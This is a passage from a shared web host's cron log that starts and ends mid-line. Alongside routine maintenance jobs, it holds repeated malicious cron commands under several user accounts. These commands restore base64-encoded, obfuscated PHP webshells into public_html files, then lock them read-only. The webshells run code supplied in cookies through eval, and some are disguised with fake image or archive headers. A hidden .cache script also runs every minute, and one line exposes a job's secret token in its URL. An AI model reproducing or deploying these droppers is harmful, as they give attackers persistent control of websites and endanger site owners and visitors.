WzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:58:02 medusa CROND[31704]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:58:02 medusa CROND[31706]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:58:02 medusa CROND[31707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:58:02 medusa CROND[31709]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:58:02 medusa CROND[31710]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:58:02 medusa CROND[31713]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:58:02 medusa CROND[31715]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:58:02 medusa CROND[31730]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:58:02 medusa CROND[31731]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:58:02 medusa CROND[31732]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 22:59:01 medusa CROND[1350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:59:01 medusa CROND[1352]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 22:59:02 medusa CROND[1512]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:59:02 medusa CROND[1514]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:59:02 medusa CROND[1515]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:59:02 medusa CROND[1516]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:59:02 medusa CROND[1521]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:59:02 medusa CROND[1522]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:59:02 medusa CROND[1528]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:59:02 medusa CROND[1532]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:59:02 medusa CROND[1533]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:59:02 medusa CROND[1538]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:00:02 medusa CROND[3752]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 23:00:02 medusa CROND[4144]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 23:00:02 medusa CROND[4150]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 23:00:02 medusa CROND[4151]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 23:00:02 medusa CROND[4152]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 23:00:02 medusa CROND[4153]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 23:00:02 medusa CROND[4154]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:00:02 medusa CROND[4155]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 23:00:02 medusa CROND[4158]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 23:00:02 medusa CROND[4162]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 23:00:02 medusa CROND[4164]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:00:02 medusa CROND[4159]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 23:00:02 medusa CROND[4172]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 23:00:02 medusa CROND[4173]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:00:02 medusa CROND[4176]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 23:00:02 medusa CROND[4177]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Mar  1 23:00:02 medusa CROND[4180]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0